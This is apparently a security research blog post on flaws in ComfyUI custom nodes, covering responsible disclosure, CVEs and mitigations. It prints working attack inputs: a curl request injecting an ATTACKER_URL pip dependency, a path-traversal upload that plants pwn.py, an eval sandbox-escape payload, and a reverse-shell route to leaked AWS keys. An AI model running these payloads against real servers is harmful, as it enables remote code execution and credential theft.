Skip to main content

Don’t Get Too Comfortable: Hacking ComfyUI Through Custom Nodes

0 分で読めます

We all know the saying: “A chain is as strong as its weakest link”. A single vulnerability in an extension can jeopardize the security of the entire application. In this research, we focus our attention to ComfyUI, a popular stable diffusion platform with over 1,300 custom node extensions available. Through real-world examples, we’ll demonstrate how even seemingly minor vulnerabilities in custom nodes can lead to full server compromise. More importantly, we’ll explore practical strategies for securing applications that rely on third-party plugin ecosystems to minimize these risks.

ComfyUI Overview

When beginning any security research, it’s essential first to understand the target’s architecture. ComfyUI runs a Python backend server and a Javascript frontend based on litegraph.js - a graph node engine that ships with a built-in editor. The heart of the app is the “node” - the smallest unit of functionality available. 

ComfyUI Nodes

Nodes, whether built-in or custom, serve as modular components with inputs and outputs that can be chained together to form workflows that perform a desired task. A node can add server-side functionality, client-side features (in that case, an extension), or a combination of both. 

From a backend perspective, a node is typically a Python class with a well-defined structure. For example, here’s a simple implementation:

class Glitter:
    def __init__(self):
        pass

    @classmethod
    def INPUT_TYPES(s):
        return {
            "required": {
                "prompt": ("STRING", {
                    "multiline": False,
                    "default": "Hello World!",
                    "lazy": True
                }),
            },
        }

    RETURN_TYPES = ("STRING",)
    #RETURN_NAMES = ("glittered_string",)
    FUNCTION = "action"
    CATEGORY = "Example"

    def action(self, input):
        output = "whatever you do, add glitter to: " + input
        return (output,)

# WEB_DIRECTORY = "./somejs"

# Add custom API routes, using router
from aiohttp import web
from server import PromptServer

@PromptServer.instance.routes.get("/glitter")
async def get_glitter(request):
    return web.json_response("glitttttter…")

NODE_CLASS_MAPPINGS = {
    "Glitter": Glitter
}

NODE_DISPLAY_NAME_MAPPINGS = {
    "Glitter": "Add glitter"
}

To function properly, a node must declare the following attributes and methods:

  • INPUT_TYPES: a class method that defines a dictionary of the input variables and their types.

  • RETURN_TYPES: a tuple of the output types. 

  • FUNCTION: the name of the entry point method to the node. 

  • The Entry point method’s implementation e.g. action in the example above.

  • NODE_CLASS_MAPPINGS: a dictionary that contains all the node classes to be exported.

  • NODE_DISPLAY_NAME_MAPPINGS (optional): Provides UI-friendly names for the nodes.

Optional attributes include:

  • WEB_DIRECTORY: Specifies a directory containing JavaScript files to extend frontend functionality.

  • Custom API Endpoints: Registering endpoints using the @PromptServer.instance.routes.HTTP_METHOD decorator enables backend services to interact with the frontend via api.fetchApi().

Extending the client is easier - the node needs to export WEB_DIRECTORY containing the Javascript files and in them call app.registerExtension() to register the extension.

Custom nodes are installed in two ways:

  • Manual Installation: Copying or cloning the node’s source code into the ./custom_nodes directory.

  • Using ComfyUI-Manager: A node management system that streamlines the installation process, often pre-installed.

When the server starts, it automatically scans the ./custom_nodes directory and loads nodes into memory using the following method:

def load_custom_node(module_path: str, ignore=set(), module_parent="custom_nodes") -> bool:
   module_name = os.path.basename(module_path)
   if os.path.isfile(module_path):
       sp = os.path.splitext(module_path)
       module_name = sp[0]
   try:
       logging.debug("Trying to load custom node {}".format(module_path))
       if os.path.isfile(module_path):
           module_spec = importlib.util.spec_from_file_location(module_name, module_path)
           module_dir = os.path.split(module_path)[0]
       else:
           module_spec = importlib.util.spec_from_file_location(module_name, os.path.join(module_path, "__init__.py"))
           module_dir = module_path

       module = importlib.util.module_from_spec(module_spec)
       sys.modules[module_name] = module
       module_spec.loader.exec_module(module)
...

This function uses Python’s importlib to directly import and execute source files. Thus once exec_module() is called, any Python file within ./custom_nodes will get executed. This behavior makes the directory a powerful entry point for both functionality and potential vulnerabilities, as any malicious file placed here could be executed upon server restart.

ComfyUI does not include built-in authentication or authorization features. Instead, recommendations from the community—often shared in GitHub discussions—suggest deploying a reverse proxy in front of ComfyUI to handle user authentication and implement fine-grained access control.

This architecture means the impact of vulnerabilities, particularly those requiring remote access, depends heavily on how the server is set up. A well-configured reverse proxy can significantly mitigate risks, while a poorly secured or standalone deployment might leave the system more exposed to potential exploits.

Attack Surface

Understanding how ComfyUI defines and executes custom nodes reveals an expansive attack surface ripe for exploitation. Custom nodes, capable of exposing additional server endpoints, are particularly enticing to attackers as they can be targeted remotely. For instance, vulnerabilities like arbitrary file write or path traversal could allow attackers to drop malicious .py files into the ./custom_nodes directory. These files are automatically loaded when the server restarts, effectively escalating the issue to remote code execution (RCE).

When remote access isn’t an option, the focus shifts to the entry point function of the vulnerable node. Any user-controllable argument—such as those of type STRING or FILE—becomes a potential vector. Exploiting such vulnerabilities requires crafting a workflow that triggers the vulnerable node, connecting appropriate input and output nodes. Notably, the workflow doesn't even need to complete successfully for exploitation to succeed. To run a workflow, an attacker can either use the “Queue Prompt” button in the UI or send a POST request to /api/prompt with a JSON payload detailing nodes, edges, and initial values.

1_dont_get_comfy_blog

While these vulnerabilities might seem confined to servers with direct user access, the reality is more concerning. ComfyUI supports exporting workflows to JSON files, which are often shared on public platforms like OpenArt or ComfyWorkflows. Maliciously crafted workflows uploaded to these repositories could exploit vulnerable nodes on remote servers. This threat is exacerbated by the fact that users rarely perform security reviews before importing JSON workflows, significantly widening the potential impact of these issues.

Beyond the Python backend, custom nodes can also include JavaScript code to extend and tweak the UI, introducing another attack vector. If an attacker can execute arbitrary JavaScript—via an XSS vulnerability in an extension or by deploying a malicious extension—they can leverage ComfyUI's API to interact with the backend. This capability enables crafting workflows that exploit vulnerable nodes, potentially escalating an XSS vulnerability into full-blown RCE.

Real-world Examples

With the attack surface outlined, let’s delve into specific examples of vulnerable nodes to illustrate how these attack vectors can manifest in practice.

Code Injection Vulnerability in ComfyUI-Manager: Exploiting Dependency Control

The ComfyUI-Manager extension plays a pivotal role in managing the functionality of ComfyUI, offering tools to install, remove, disable, or enable custom nodes. Often pre-installed, it simplifies the integration of custom nodes and manages them through a curated custom-node-list.json file. For example, an entry for a custom node might look like this:

{ 
    "author": "bvhari", 
    "title": "ComfyUI_SUNoise", 
    "id": "sunoise", 
    "reference": "https://github.com/bvhari/ComfyUI_SUNoise", 
    "files": [ 
        "https://github.com/bvhari/ComfyUI_SUNoise" 
    ], 
    "install_type": "git-clone", 
    "description": "Scaled Uniform Noise for Ancestral and Stochastic samplers" 
}

Two fields in this structure stand out:

  • files: Specifies the URLs of the repositories containing the node’s source code.

  • pip: Declares Python package dependencies required by the node.

If an attacker can manipulate either field, they can execute arbitrary code on the server.

The Exploitation Path

When installing a custom node, the manager exposes an API endpoint /customnode/install that accepts POST requests. To prevent misuse, the system performs two security checks:

  • Security Level Validation: Ensures the server’s security level permits potentially risky operations (e.g., installing nodes via git URL or running pip install). By default, at the time of the research, the security level was set to normal, which only allows installation of nodes listed on the default channel.
    Note: it since has been updated to normal- and risky features cannot be used even on local installations. 

  • files Validation: Verifies that the files entry in the request matches an approved entry in the custom-node-list.json. New entries are added to this list through pull requests to the manager’s repository, requiring review and approval.

Once these checks pass, thepip field, if present, is processed to install dependencies. The following logic is used:

if 'pip' in json_data: 
	for pname in json_data['pip']: 
		pkg = core.remap_pip_package(pname) 
		install_cmd = [sys.executable, "-m", "pip", "install", pkg]
            core.try_install_script(json_data['files'][0], ".",  install_cmd)

Here lies the vulnerability: no validation is performed on the pip field. Pip accepts URLs as well as package names, and if a URL points to a user-controlled package, its setup.py file will execute arbitrary code on the server.

Crafting the Exploit

An attacker can bypass validation by leveraging an existing, approved node entry in custom-node-list.json. By modifying or even adding the pip field in their POST request to point to a malicious package or a custom URL, arbitrary code can be injected and executed:

curl -i http://localhost:8188/api/customnode/install  
-X POST -H 'Content-Type: application/json'  
-d '{ 
    "author": "bvhari", 
    "description": "Scaled Uniform Noise...", 
    "files": ["https://github.com/bvhari/ComfyUI_SUNoise"], 
    "id": "sunoise", 
    "install_type": "git-clone", 
    "reference": "https://github.com/bvhari/ComfyUI_SUNoise", 
    "title": "ComfyUI_SUNoise", 
    "stars": 8, 
    "last_update": "2024-08-03 03:57:46", 
    "trust": true, 
    "installed": "False", 
    "pip": ["ATTACKER_URL"] # <-- Injected malicious dependency. 
}'

By exploiting this vulnerability, the attacker gains the ability to run arbitrary code on the server, achieving remote code execution (RCE). This issue has since been fixed in the this commit by adding a validation to the pip field checking that it matches the one defined in custom-node-list.json.

Arbitrary File Write Vulnerability in ComfyUI-Impact-Pack: Path Traversal Exploit

The ComfyUI-Impact-Pack is a widely used custom node extension that combines various useful functionalities for ComfyUI. Among its features is an image upload endpoint, /upload/temp, which allows users to upload files to the server. However, a lack of proper input validation exposes a critical vulnerability that allows attackers to exploit path traversal and perform arbitrary file writes, leading to remote code execution (RCE).

The Vulnerability

The vulnerable endpoint is defined as follows:

@PromptServer.instance.routes.post("/upload/temp")
async def upload_image(request):
    upload_dir = folder_paths.get_temp_directory()

    if not os.path.exists(upload_dir):
        os.makedirs(upload_dir)

    post = await request.post()
    image = post.get("image")

    if image and image.file:
        filename = image.filename
        if not filename:
            return web.Response(status=400)

        split = os.path.splitext(filename)
        i = 1
        while os.path.exists(os.path.join(upload_dir, filename)):
            filename = f"{split[0]} ({i}){split[1]}"
            i += 1

        filepath = os.path.join(upload_dir, filename)

        with open(filepath, "wb") as f:
            f.write(image.file.read())

        return web.json_response({"name": filename})
    else:
        return web.Response(status=400)

Key observations:

  • The uploaded file is saved to a directory specified by folder_paths.get_temp_directory().

  • The filename is derived directly from the image.filename property provided by the user.

  • No validation or sanitization is performed on image.filename.

This oversight allows an attacker to supply a crafted filename with ../ sequences, enabling a path traversal attack that writes files outside the intended directory.

Exploitation

By crafting a malicious payload, an attacker can write a file to the ./custom_nodes directory, which is automatically loaded by ComfyUI on server restart. For example:

curl -X POST http://localhost:8188/api/upload/temp 
  -F "image=@[PATH_TO_PY_FILE];filename=../custom_nodes/pwn.py"

Here’s what happens:

  • Path Traversal: The filename parameter uses ../ to escape the temporary directory and target the custom_nodes directory.

  • Arbitrary File Write: The uploaded file (e.g., pwn.py) is written to the custom_nodes directory with attacker-controlled content.

  • Code Execution: On the next server restart (or any event triggering a restart, such as a cron job or system update), the malicious Python file is automatically executed.

Impact

This vulnerability allows attackers to:

  • Deploy arbitrary Python scripts into the ./custom_nodes directory.

  • Escalate their control over the server to remote code execution by leveraging ComfyUI’s auto-loading mechanism for custom nodes.

  • Even if the attacker lacks direct privileges to restart the server, they can wait for natural triggers such as:

    • Cron jobs executing scheduled tasks.

    • SSH keys being updated on the server.

    • New services being added or system configurations being modified.

This issue was fixed here by removing this endpoint altogether as it’s no longer being used.

Code Injection Vulnerability in ComfyUI-Bmad-Nodes: Exploiting Workflow Inputs

Unlike previous vulnerabilities that exposed API endpoints, the ComfyUI-Bmad-Nodes extension demonstrates how custom nodes without explicit server endpoints can still introduce severe security issues. The vulnerability lies in the BuildColorRangeHSVAdvanced, FilterContour, and FilterContour nodes, which fail to properly sanitize input passed to their functions. These nodes contain a code injection vulnerability through an unsafely handled eval call.

The Vulnerability

For instance, in the BuildColorRangeHSVAdvanced node, the get_interval entry point processes input through the eval function:

       for key, expression in {"h": hue_exp, "s": sat_exp, "v": val_exp}.items():
            expression = prepare_text_for_eval(expression)  # purge potentially dangerous tokens

            locals_to_include_names = filter_expression_names(valid_token, expression)
            locals_to_include = {
                name: getattr(samples, name)
                for name in locals_to_include_names
            }

            bounds[key] = eval(expression, {
                "__builtins__": {},
                'min': min, 'max': max, 'm': math,
                **locals_to_include
            }, {})

prepare_test_for_eval implements the following logic:

def prepare_text_for_eval(text, complementary_purge_list=None):
    import re

    # purge the string from domonic entities
    for item in ["exec", "import", "eval", "lambda", "_name_", "_class_", "_bases_",
                 "write", "save", "store", "read", "open", "load", "from", "file"]:
        text = text.replace(item, "")

    if complementary_purge_list is not None:
        for item in complementary_purge_list:
            text = text.replace(item, "")

    # remove comments and new lines
    text = re.sub('#.+', '', text)
    text = re.sub('\n', '', text)

    return text

Here’s the flow:

  1. The expression argument is passed to eval after being sanitized by a function called prepare_text_for_eval.

  2. Sanitization Flaws: Despite attempts to sanitize the input, the checks fail to properly handle crafted payloads.

  3. Context Exposure: The math library is included in the evaluation context, and certain Python built-ins are indirectly accessible.

This allows an attacker to craft a payload that bypasses the validation logic and exploits the eval function to execute arbitrary code. For example:

[h_v('os').system('whoami') for h_k, h_v in m.__spec__.__init__.__builtins__.items() if '__imp' in h_k]

Breaking Down the Payload

  • m.__spec__.__init__.__builtins__.items(): Enumerates the built-ins available in the global context.

  • if '__imp' in h_k: Filters for the built-in import function.

  • h_v('os').system('whoami'): Uses the import function to load the os module and executes the system() method to run a shell command.

The payload is carefully designed to pass the token validation enforced by the valid_token() function. For instance, using variable names prefixed with h_ ensures compliance with token validation rules.

Exploitation

To exploit the vulnerability:

  • Create a Workflow: Construct a ComfyUI workflow that includes the BuildColorRangeHSVAdvanced node.

  • Inject Malicious Input: Paste the crafted payload (e.g., the code snippet above) into the hue text box in the node’s UI.

  • Execute the Workflow: Click “Queue Prompt” to run the workflow and trigger the vulnerable node.

Alternatively: the workflow JSON can be shared on a public gallery and loaded via “Load”.

2_dont_get_comfy_blog

Once executed, the payload injects malicious code through eval, leading to arbitrary code execution on the server. For example, the os.system('whoami') command would display the user running the server.

Since the node maintainers haven’t responded to our disclosure request, the ComfyUI Manager team has moved it to the dev channel and placed an unsafe flag on it. 

The above mentioned issues were assigned the following CVEs:

The examples of ComfyUI-Manager, ComfyUI-Impact-Pack, and ComfyUI-Bmad-Nodes showcase how security oversights in custom nodes can create opportunities for exploitation. These vulnerabilities—from pip dependency injection to path traversal and unsafe evaluation—serve as important reminders of the challenges in balancing flexibility and security in custom extensions. 

While self-hosted setups offer significant flexibility, they also require careful configuration to manage these risks. Hosted solutions, on the other hand, often come with built-in safeguards that can simplify security management.

Exploring Hosted Solutions

A variety of cloud-hosted solutions have emerged to simplify running ComfyUI by providing the necessary infrastructure while addressing some of its limitations. These platforms often add features like authentication, user management, execution tracking, artifact storage, and more, making them attractive for users who want a streamlined setup without the hassle of self-hosting.

ComfyDeploy server-side showcase

As a case study to explore how hosted solutions approach security, we examined ComfyDeploy, a service that graciously provided us with a trial account. While ComfyDeploy supports only a subset of custom nodes, we found the ACE_ExpressionEval node in ComfyUI_AceNodes, that inadvertently allowed arbitrary code execution as a feature:

class ACE_ExpressionEval:
    @classmethod
    def INPUT_TYPES(s):
        return {
            "required": {
                "value": ("STRING", {"multiline": False, "default": ""}),
            },
            "optional": {
                "a": (any, {"default": ""}),
                "b": (any, {"default": ""}),
            },
        }

    RETURN_TYPES = ("STRING","INT","FLOAT",)
    FUNCTION = "execute"
    CATEGORY = "Ace Nodes"

    def execute(self, value, a='', b=''):
        result = eval(value, {'a':a, 'b':b}) # <-- THIS!
        try:
            result_int = round(int(result))
        except:
            result_int = 0
        try:
            result_float = round(float(result), 4)
        except:
            result_float = 0
        return (str(result), result_int, result_float)

As plain as day, Python’s eval() function is being used without any input sanitization. This allows users to craft a simple workflow that executes arbitrary code:

3_dont_get_comfy_blog

As a result, exploiting the vulnerability becomes straightforward:

  1. Create a Workflow: Construct a workflow that uses the ACE_ExpressionEval node to execute malicious code, such as a reverse shell.

  2. Export and Deploy: Export the workflow as a JSON file from a local ComfyUI instance and deploy it onto a ComfyDeploy-hosted machine.

  3. Gain Access: Once the workflow runs, the exploit code executes, allowing remote access to the container.

This issue was assigned with CVE-2024-21577 and has been moved to the dev channeland marked unsafe as well.

Since ComfyDeploy runs its containers on Modal, we deployed a reverse shell to connect the container to a machine under our control. Upon accessing the container, we discovered leaked AWS credentials in the environment variables:

AWS_SECRET_ACCESS_KEY=rj**************************************
AWS_ACCESS_KEY_ID=********************

This example highlights how vulnerabilities in custom nodes can ripple through the security of hosted solutions. Even a single insecure extension can expose an entire system, emphasizing the importance of:

  • Validating Custom Nodes: Platforms should enforce rigorous security checks on custom nodes before deployment.

  • Environment Hardening: Sensitive credentials should not be exposed in environment variables or accessible within containers.

  • Boundary Protection: Hosted solutions must implement robust security boundaries to minimize the impact of compromised nodes.

After discovering the leaked credentials, we contacted ComfyDeploy, and they promptly revoked the exposed keys and updated their containers to address the issue.

Client-side comparison

Hosted solutions built on ComfyUI often add missing features like authentication and access control. However, they differ significantly in how they handle extensions that include custom Javascript code. To test this, we created a simple custom extension designed to trigger a Javascript popup when a node is set up:

import { app } from "../../scripts/app.js";

const ext = {
    name: 'Alert.Node',

    native_mode: false,

    init(app) {
        console.log("pwn-init!");
    },

    async beforeRegisterNodeDef(nodeType, nodeData, app2) {
        console.log("pwn-beforeRegisterNodeDef!");
    },

    async setup() {
        console.log("pwn-setup!");
        alert(`pwn! ${document.location.origin}`);
    }
}

app.registerExtension(ext);

We then evaluated how different solutions based on ComfyUI handle such a node.

ComfyDeploy

ComfyDeploy takes a restrictive approach by not allowing arbitrary custom nodes to be installed. Users can configure machine-specific prestart commands, which we used to deploy our custom node into the custom_nodes directory:

wget -qO- https://github.com/supriza/cui-node/archive/refs/tags/v0.5.tar.gz | tar xvz -C /comfyui/custom_nodes

Despite the node being added, the alert did not trigger. The logs showed no errors, and the extension appeared to load successfully. Upon analyzing the client-side JavaScript, we discovered why. ComfyDeploy overrides the getExtensions method in ComfyUI's API class using a custom api_override.ts file, which disables extension loading altogether:

object.getExtensions = async (): Promise<string[]> => {
    return []; // Completely disables extension loading.
};

By returning an empty list, ComfyDeploy prevents any client-side custom extensions from being loaded—an effective but drastic solution.

HuggingFace Spaces

HuggingFace Spaces hosts AI apps and loads them in the UI in a sandboxed iframe environment. ComfyWorkflows has created a containerized version of ComfyUI called ComfyUI-Launcher, suitable for running in Spaces. Each space runs on a unique subdomain (e.g., https://[USER_NAME]-[APP_NAME].hf.space), separate from HuggingFace’s main domain.

Testing this environment revealed that custom nodes could not be installed directly via the manager. However, after modifying the config.ini file to lower the security level (security_level = weak), our crafted extension successfully triggered the alert:

4_dont_get_comfy_blog

This setup mitigates cross-site scripting risks by isolating cookies to the specific subdomain. Although arbitrary JavaScript can access ComfyUI’s app.apiFetch function to query server endpoints, these actions are limited to the sandboxed space, reducing the risk of broader exploitation.

These solutions illustrate how different approaches to building on ComfyUI impact security:

1. ComfyDeploy: Completely disables client-side JavaScript extensions, eliminating this attack vector but at the cost of flexibility.

2. HuggingFace Spaces: Isolates apps in sandboxed iframes and restricts cross-domain risks through cookie isolation, balancing security and usability.

The security posture of ComfyUI-based applications ultimately depends on developer choices, as no standard approach currently exists. While restrictive measures like those in ComfyDeploy offer strong protection, less stringent solutions require careful configuration and monitoring to mitigate risks.

Mitigations and Best Practices for ComfyUI Node Security

Path Handling and File-Related Vulnerabilities

File-related vulnerabilities like path traversal and arbitrary file writes can have critical impacts on a ComfyUI server. To mitigate these risks:

  • Always normalize file paths derived from user-controlled input using os.path.realpath to resolve absolute paths and symlinks.

  • Validate normalized paths to ensure they remain within allowed directories. ComfyUI’s folder_paths module simplifies this by providing references to commonly used directories (e.g., temp, input, models). Any paths outside these directories should be rejected unless explicitly needed.

Server and Node Sandboxing

To minimize the blast radius of potential vulnerabilities:

  • Ensure the server and any installed custom nodes are properly sandboxed to restrict their capabilities.

  • Avoid storing sensitive data (e.g., credentials, SSH keys) in the server's environment.

  • Isolate different user instances to prevent a compromised node from affecting other users.

Solutions like Modal (as demonstrated by ComfyDeploy) and Replicate’s cog offer practical approaches for secure sandboxing and environment isolation.

Maintaining a Secure Ecosystem

Completely eliminating vulnerabilities in extensions is challenging, but steps can be taken to reduce their prevalence and improve overall security:

  1. For Custom Node Maintainers:

  • Use Software Composition Analysis (SCA) tools and static analysis to identify vulnerabilities in dependencies and codebases.

  • Centralize maintenance of highly popular plugins under a trusted authority to ensure consistent security, active updates, and protection against malicious takeovers.

2. For Users:

  • Install custom nodes only from reputable and actively maintained repositories.

  • Before installation, scan custom node codebases for potential security issues using the recommended tools.

By combining rigorous path validation, effective server sandboxing, and a proactive approach to extension security, developers and users can significantly mitigate risks and maintain a secure ComfyUI environment.

Final Thoughts

As AI and LLM adoption grows, a wave of new tools has emerged to leverage their immense potential. However, this rapid innovation sometimes comes at the expense of well-established security practices. Community-driven plugins and extensions are not a new concept, and the challenges they present have been around since the early days of package managers. Yet, in the excitement of exploring new possibilities, these lessons can occasionally be overlooked. By shedding light on these vulnerabilities and their implications, we hope to underscore the importance of building a secure foundation as the AI revolution continues to advance.